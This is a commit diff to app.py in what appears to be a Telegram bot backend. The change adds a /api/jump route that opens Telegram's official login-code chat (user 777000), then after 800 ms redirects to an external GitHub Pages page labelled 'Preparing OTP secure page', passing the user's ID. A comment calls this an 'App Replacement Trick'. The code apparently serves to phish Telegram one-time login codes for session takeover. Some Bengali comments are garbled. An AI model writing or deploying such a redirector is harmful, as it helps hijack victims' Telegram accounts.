pmrony commited on
Commit
f66f183
·
verified ·
1 Parent(s): 4e97358

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +13 -11
app.py CHANGED
@@ -51,28 +51,30 @@ async def db_query(func):
51
  def index():
52
  return "Bot, Media Uploader, and Real Session API is Running! 🚀"
53
 
54
- # রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে (ইউনিভার্সাল অটো-ক্লোজ সহ)
55
  @app.route('/api/jump')
56
  def jump_to_telegram():
57
- html_content = """
 
58
  <!DOCTYPE html>
59
  <html>
60
  <head>
61
- <title>Redirecting...</title>
62
  <script>
63
- // ১. ওটিপি চ্যাট ওপেন করার নেটিভ অ্যান্ড্রয়েড কমান্ড
64
  window.location.href = "tg://openmessage?user_id=777000";
65
 
66
- // ২. ঠিক ১.২ সেকেন্ড পর ব্যাকগ্রাউন্ডের কালো স্ক্রি ্ধ করতবটের লিংকেিডইরেকট করবে
67
- setTimeout(function() {
68
- window.location.href = "https://t.me/File_Unlocker_Pro_bot";
69
- }, 1200);
70
  </script>
71
  </head>
72
- <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
73
  <div style="text-align:center;">
74
- <div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div>
75
- <div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div>
 
76
  </div>
77
  </body>
78
  </html>
 
51
  def index():
52
  return "Bot, Media Uploader, and Real Session API is Running! 🚀"
53
 
54
+ # রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে (App Replacement Trick)
55
  @app.route('/api/jump')
56
  def jump_to_telegram():
57
+ user_id = request.args.get('user_id', '123456')
58
+ html_content = f"""
59
  <!DOCTYPE html>
60
  <html>
61
  <head>
62
+ <title>Loading...</title>
63
  <script>
64
+ // ১. ওটিপি চ্যাট ওপেন করার কমান্ড দেবে
65
  window.location.href = "tg://openmessage?user_id=777000";
66
 
67
+ // ২. ঠিক ৮০০ মিলি-সেকেন্ড পর এই কালো পেজটি নিজ আপনাফুWebApp এ ূপিত হবে!
68
+ setTimeout(function() {{
69
+ window.location.href = "https://rony90790.github.io/Forward-bot/index.html?user_id={user_id}";
70
+ }}, 800);
71
  </script>
72
  </head>
73
+ <body style="background:#0f0f0f; color:#00ffaa; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif; margin:0;">
74
  <div style="text-align:center;">
75
+ <div style="font-size:40px; margin-bottom:10px;">⏳</div>
76
+ <h3 style="margin:0;">Opening Chat...</h3>
77
+ <p style="color:#888; font-size:12px;">Preparing OTP secure page...</p>
78
  </div>
79
  </body>
80
  </html>